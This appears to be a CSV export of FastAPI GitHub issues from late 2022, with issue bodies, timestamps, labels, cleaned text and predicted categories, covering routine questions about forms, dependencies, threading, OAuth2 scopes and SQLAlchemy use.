- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(
    ""/face-quality"",
    status_code=status.HTTP_200_OK,
    response_model=FaceQuality,
)
async def v1_face_quality_post(
    image: Optional[UploadFile] = File(None, description=""Image file""),
    url: Optional[str] = Form(None, description=""Image url"", example=""http://example.com/sample.jpg""),
    label: Optional[str] = Query(None, description=""label"", example=""tom"")
):
```


### Description

As you can see from the code, I use `Form` or `Query` in request, but for `Query`, the `example` display correctly in documentation, but not in `Form`, `description` both display fine. I have looked into the sour... [TRUNCATED]","question,question-migrate",2022-12-07 06:20:47+00:00,2023-02-28 15:44:49+00:00,1,"question,question-migrate",83.3917,form in request not displaying example in documentation first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description as you can see from the code i use or in request but for the display correctly in documentation but not in both display fine i have looked into the sour truncated,feature,0.9313
tiangolo/fastapi,1479428470,Uvicorn with Thread handle KeyboardInterrupt,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, APIRouter, Query
import uvicorn
import threading

def run_background_task():
        
    while True:
        try:
            print(""Auto Every 5 minute Update Data"")
            fetch_data()
            time.sleep(60*60)
        except Exception as e:
            print(e)

if __name__ == ""__main__"":
    try:
        stop_event = asyncio.Event()
        thread = threading.Thread(target=run_background_task)
        thread.start()
        uvicorn.run(app, host=""0.0.0.0"", port=8000, log_level=""info"")
    except KeyboardInterrupt:
        # Set the stop event to stop the server and the background task
 ... [TRUNCATED]","question,question-migrate",2022-12-06 15:44:24+00:00,2023-02-27 21:29:25+00:00,3,"question,question-migrate",83.2396,uvicorn with thread handle keyboardinterrupt first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi apirouter query import uvicorn import threading def run background task while true try print auto every minute update data fetch data time sleep except exception as e print e if name main try stop event asyncio event thread threading thread target run background task thread start uvicorn run app host port log level info except keyboardinterrupt set the stop event to stop the server and the background task truncated,help,0.8402
tiangolo/fastapi,1477127899,Traceback stack does not show exact place of error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends


app = FastAPI()


def get_something_sync():
    yield True


async def get_something_async():
    yield True


@app.get('/1')
def router_func(dependency=Depends(get_something_sync)):
    raise ValueError
    return


@app.get('/2')
def router_func(dependency=Depends(get_something_async)):
    raise ValueError
    return


if __name__ == ""__main__"":
    uvicorn.run(""main:app"", host=""0.0.0.0"", port=5600, workers=1)
```


### Description

If dependency function uses yield, injecting dependency with sync def function (get_something_sync), the error traceback will broke - it... [TRUNCATED]","question,question-migrate",2022-12-05 18:11:29+00:00,2023-02-28 15:44:45+00:00,5,"question,question-migrate",84.8981,traceback stack does not show exact place of error first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description if dependency function uses yield injecting dependency with sync def function get something sync the error traceback will broke it truncated,bug,0.4588
tiangolo/fastapi,1476801443,RequestValidationError: 'field required' error although no query param specified,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends
from typing import Protocol

app = FastAPI()

class P(Protocol):
    def hello(self):
        ...

class Concrete(P):
    def hello(self):
        return ""Hello World!""


class Bridge():
    def __init__(self, protocol: P = Depends(Concrete)):
        self.protocol = protocol

    def hello(self):
        return self.protocol.hello()


@app.get('/test')
def get(dep=Depends(Bridge)):
    return dep.hello()

if __name__ == ""__main__"":
    uvicorn.run(""issue:app"", host=""0.0.0.0"", port=5500, workers=1)
```

### Description

The example code throws a req... [TRUNCATED]","question,question-migrate",2022-12-05 15:18:59+00:00,2023-02-28 15:44:42+00:00,3,"question,question-migrate",85.0179,requestvalidationerror field required error although no query param specified first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the example code throws a req truncated,bug,0.8779
tiangolo/fastapi,1475880389,Query parameters with special characters / cannot create variable,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
no code
```


### Description

Hello,

My web front-end generates the following request to the server (JSON:API query)

/comments?filter[post]=1,2&filter[author]=12

I have 2 query parameters ""filter[post]"" and ""filter[author]"", but I cannot figure out how to access them, as I cannot create a variable called ""filter[post]"".

How can I read these query parameters ?



 


### Operating System

Linux

### Operating System Details

Ubuntu 20.04 (WSL)

### FastAPI Version

1.0.0

### Python Version

3.10.2

### Additional Context

no add info","question,question-migrate",2022-12-05 07:23:26+00:00,2023-02-28 15:44:40+00:00,2,"question,question-migrate",85.3481,query parameters with special characters cannot create variable first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello my web front end generates the following request to the server json api query comments filter post filter author i have query parameters filter post and filter author but i cannot figure out how to access them as i cannot create a variable called filter post how can i read these query parameters linux details ubuntu wsl fastapi version python version no add info,help,0.8451
tiangolo/fastapi,1475461770,startup event lock with multiple uvicorn workers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
import threading

from typing import Optional
from datetime import datetime

from passlib.context import CryptContext
from beanie import Document, init_beanie
from motor.motor_asyncio import AsyncIOMotorClient
from fastapi import FastAPI


lock = threading.Lock()


app = FastAPI()

pwd_context = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")


class User(Document):
    username: str
    full_name: Optional[str] = None
    email: Optional[str] = None

    class Settings:
        name = ""users""

    def __repr__(self) -> str:
        return f""<User {self.username}>""

    def __str__(s... [TRUNCATED]","question,question-migrate",2022-12-05 02:34:34+00:00,2023-02-27 21:29:23+00:00,4,"question,question-migrate",84.7881,startup event lock with multiple uvicorn workers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uvicorn import threading from typing import optional from datetime import datetime from passlib context import cryptcontext from beanie import document init beanie from motor motor asyncio import asynciomotorclient from fastapi import fastapi lock threading lock app fastapi pwd context cryptcontext schemes bcrypt deprecated auto class user document username str full name optional str none email optional str none class settings name users def repr self str return f def str s truncated,help,0.9136
tiangolo/fastapi,1473849617,"""Error: Unprocessable Entity"" response for Tutorial -> FastAPI Body - Nested Models -> Bodies of arbitrary dicts ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.post(""/index-weights/"")
async def create_index_weights(weights: dict[int, float]):
    return weights
```


### Description

- Just copy and run the sample code provided by official doc,
- It should return a `200` response for this request:
```json
{
  ""test"":{
    ""1"":""3.14""
  }
}
```
![CleanShot 2022-12-03 at 11 36 51](https://user-images.githubusercontent.com/8280770/205432208-f81af05d-6e48-496c-a282-b211ec1738bc.png)


### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

Python 3.10.8

### Additional Context

... [TRUNCATED]","question,question-migrate",2022-12-03 08:37:50+00:00,2023-02-27 21:29:20+00:00,1,"question,question-migrate",86.5358,error unprocessable entity response for tutorial fastapi body nested models bodies of arbitrary dicts first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description just copy and run the sample code provided by official doc it should return a response for this request cleanshot at macos details no response fastapi version python version python truncated,bug,0.836
tiangolo/fastapi,1473785902,Multiple exceptions when working with db via sqlalchemy at load >200 req/sec,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code
This is how I create an application instance:
```python
import sentry_sdk
from fastapi import FastAPI
from fastapi.exceptions import RequestValidationError
from fastapi.responses import ORJSONResponse
from prometheus_fastapi_instrumentator import Instrumentator
from sentry_sdk.integrations.asgi import SentryAsgiMiddleware
from starlette.exceptions import HTTPException
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.middleware.cors import CORSMiddleware
from starlette.responses import Response
from starlette.status import HTTP_200_OK

from core.api.identity_management import routes as auth_routes
from core.a... [TRUNCATED]","question,question-migrate",2022-12-03 05:57:01+00:00,2023-02-28 15:44:32+00:00,7,"question,question-migrate",87.408,multiple exceptions when working with db via sqlalchemy at load req sec first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code this is how i create an application instance python import sentry sdk from fastapi import fastapi from fastapi exceptions import requestvalidationerror from fastapi responses import orjsonresponse from prometheus fastapi instrumentator import instrumentator from sentry sdk integrations asgi import sentryasgimiddleware from starlette exceptions import httpexception from starlette middleware base import basehttpmiddleware from starlette middleware cors import corsmiddleware from starlette responses import response from starlette status import http ok from core api identity management import routes as auth routes from core a truncated,help,0.9528
tiangolo/fastapi,1473619822,"how to use querys of arbitrary dicts,   like Bodies of arbitrary dicts?","### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/get_list"")
def get_list(q:Dict[str,Union[str,int,float]]):
    return q
```


### Description

https://fastapi.tiangolo.com/tutorial/body-nested-models/#bodies-of-arbitrary-dicts

l got this from official website, but is only for request body,  i want something like this for query

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.11

### Additional Context

_No response_","question,question-migrate",2022-12-03 00:36:17+00:00,2023-02-27 21:29:16+00:00,7,"question,question-migrate",86.8701,how to use querys of arbitrary dicts like bodies of arbitrary dicts first check i added a very descriptive title to this issue i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description l got this from official website but is only for request body i want something like this for query windows details no response fastapi version python version no response,help,0.9109
tiangolo/fastapi,1472589824,OAuth2 scopes error in documentation for endpoints with multiple scopes,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta
from typing import List, Union

from fastapi import Depends, FastAPI, HTTPException, Security, status
from fastapi.security import (
    OAuth2PasswordBearer,
    OAuth2PasswordRequestForm,
    SecurityScopes,
)
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel, ValidationError

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username""... [TRUNCATED]","question,question-migrate",2022-12-02 09:46:21+00:00,2023-02-28 15:44:28+00:00,2,"question,question-migrate",88.2487,oauth scopes error in documentation for endpoints with multiple scopes first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from datetime import datetime timedelta from typing import list union from fastapi import depends fastapi httpexception security status from fastapi security import oauth passwordbearer oauth passwordrequestform securityscopes from jose import jwterror jwt from passlib context import cryptcontext from pydantic import basemodel validationerror to get a string like this run openssl rand hex secret key d e faa ca c b a b f f f f caa cf b e d e algorithm hs access token expire minutes fake users db johndoe username truncated,bug,0.9432
tiangolo/fastapi,1472540946,API versioning in FASTAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
na
```


### Description

How are multiple versions of same api handled in Fastapi. what are the recomendations wrt project structure , if we can to acheive something like mentioned here : 
https://developers.facebook.com/docs/graph-api/guides/versioning/
https://stackoverflow.com/questions/64943693/what-are-the-best-practices-for-structuring-a-fastapi-project

### Operating System

macOS

### Operating System Details

na

### FastAPI Version

na

### Python Version

na

### Additional Context

https://stackoverflow.com/questions/64943693/what-are-the-best-practices-for-structuring-a-fastapi-project","question,question-migrate",2022-12-02 09:07:33+00:00,2023-02-28 15:44:24+00:00,6,"question,question-migrate",88.2756,api versioning in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description how are multiple versions of same api handled in fastapi what are the recomendations wrt project structure if we can to acheive something like mentioned here macos details na fastapi version na python version na,help,0.9428
tiangolo/fastapi,1472218397,Using scopes on `Security()` changes dependency inheritance,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
async def get_authenticated_user(security_scopes: SecurityScopes,
                                 session: Session = Depends(get_session),
                                 token: str = Depends(oauth2_scheme),
                                 ):

    print(f""get_authenticated_user: {id(session)}"")
    return

@router.post('/activate', status_code=204)
async def user_activate(session: Session = Depends(get_session),
                        user: UserAccountInDatabase = Security(
                            get_authenticated_user,
                            scopes=[""activate""])):
    print(f""user_activate: {id(session)}"")
    return
```
... [TRUNCATED]","question,question-migrate",2022-12-02 02:27:04+00:00,2023-02-28 15:44:21+00:00,1,"question,question-migrate",88.5537,using scopes on changes dependency inheritance first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code truncated,help,0.9136
tiangolo/fastapi,1470337395,Different Routers with Dependency Conflicts for Scaling API,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
$ python3 example_1.py &
$ python3 example_2.py &
$ cat main.py
app = FastAPI()

from routers import example_1
app.include_router(example_1.router) # Is connecting to the example_1.py running in background

from routers import example_2
app.include_router(example_2.router) # Is connecting to the example_2.py running in background
```


### Description

Hi all!

I have a question about scaling my API. The applications I'm trying to serve have very different needs. One app at /example_1 may need Tensorflow 1.4 but /example_2 needs Tensorflow 2.1. Unfortunately backwards compatibility won't work, especially as I add /example{3..n}. I am curre... [TRUNCATED]","question,question-migrate",2022-11-30 23:05:18+00:00,2023-02-27 21:29:13+00:00,4,"question,question-migrate",88.9333,different routers with dependency conflicts for scaling api first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hi all i have a question about scaling my api the applications i m trying to serve have very different needs one app at example may need tensorflow but example needs tensorflow unfortunately backwards compatibility won t work especially as i add example n i am curre truncated,help,0.9306
tiangolo/fastapi,1470132552,Depends() not correctly generating openapi docs for list,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Test(BaseModel):
    id: int
    some_str: str
    list_values: list[str]


@app.get('/')
def test_get(test: Test = Depends()):
    return test
```


### Description

Generated doc has a body instead of a list query:
<img width=""1042"" alt=""image"" src=""https://user-images.githubusercontent.com/1719461/204891853-cc2f3ccf-0870-44d8-95ea-708a7acf4b85.png"">

The same thing happens with:
```python
from fastapi import Depends, FastAPI

app = FastAPI()

def test_query(id: int, some_str: str, list_values: list[str]):
   ... [TRUNCATED]","question,question-migrate",2022-11-30 19:40:55+00:00,2023-02-28 15:44:18+00:00,4,"question,question-migrate",89.8357,depends not correctly generating openapi docs for list first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description generated doc has a body instead of a list query img width alt image src the same thing happens with python from fastapi import depends fastapi app fastapi def test query id int some str str list values list str truncated,documentation,0.9455
tiangolo/fastapi,1469983389,Question: How can we setup AD authentication?,"### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [ ] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [ ] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
na
```


### Description

Technical document to setup AD authentication or sso

### Operating System

Linux

### Operating System Details

Centos 7.X

### FastAPI Version

0.87.0

### Python Version

3.10.8

### Additional Context

Looking technical document how to enable AD authentication.","question,question-migrate",2022-11-30 17:23:47+00:00,2023-02-28 15:44:15+00:00,2,"question,question-migrate",89.9309,question how can we setup ad authentication first check i added a very descriptive title to this issue i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search i already searched in google how to x in fastapi and didn t find any information i already read and followed all the tutorial in the docs and didn t find an answer i already checked if it is not related to fastapi but to pydantic i already checked if it is not related to fastapi but to swagger ui i already checked if it is not related to fastapi but to redoc commit to help i commit to help with one of those options example code description technical document to setup ad authentication or sso linux details centos x fastapi version python version looking technical document how to enable ad authentication,help,0.9136
tiangolo/fastapi,1469669237,Super Slow under Load with file responce,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/download/{channel_id}/{base_url:path}"", response_class=FileResponse)
async def download_segments(channel_id: str, base_url: str):
    
    URL_PHARSE  = urlparse(base_url)
    FILE_NAME   = os.path.basename(URL_PHARSE.path)
    
    if ""/audio/"" in base_url:
        SEGMENT_TYPE = ""audio""
    else:
        SEGMENT_TYPE = ""video""

    SEGMENT_ID      = FILE_NAME.replace("".m4s"","""")
    CONTENT_TYPE    = SEGMENT_TYPE + ""/mp4""

    FILE_LOCATION = await GET_CACHE_PATH(""segments"" ,True, channel_id) + SEGMENT_ID + ""_"" + SEGMENT_TYPE + "".m4s""

  return FileResponse(FILE_LOCATION, media_type=CONTENT_TYPE)
```

... [TRUNCATED]","question,question-migrate",2022-11-30 13:50:31+00:00,2023-02-28 15:44:12+00:00,6,"question,question-migrate",90.0789,super slow under load with file responce first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code truncated,help,0.9209
tiangolo/fastapi,1468153447,SQLAlchemy + FastAPI Routers,"### Description

I am following the FastAPI integration guide with MySQL and it is working fine. The issue happens when I want to use the routers and want to divide the routes in multiple files. As of now, I have the route (which interacts with DB) in the main file but if I move this route to some other file say `routes.py` and import get_db function from the main file, it gives an error. 

Is there a way to use the DB function in all files just by importing?

``` 
# main.py

... imports....

def get_db:
    ......

@app.post(""/users/"", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.get_user_by_email(db, email=user.email)
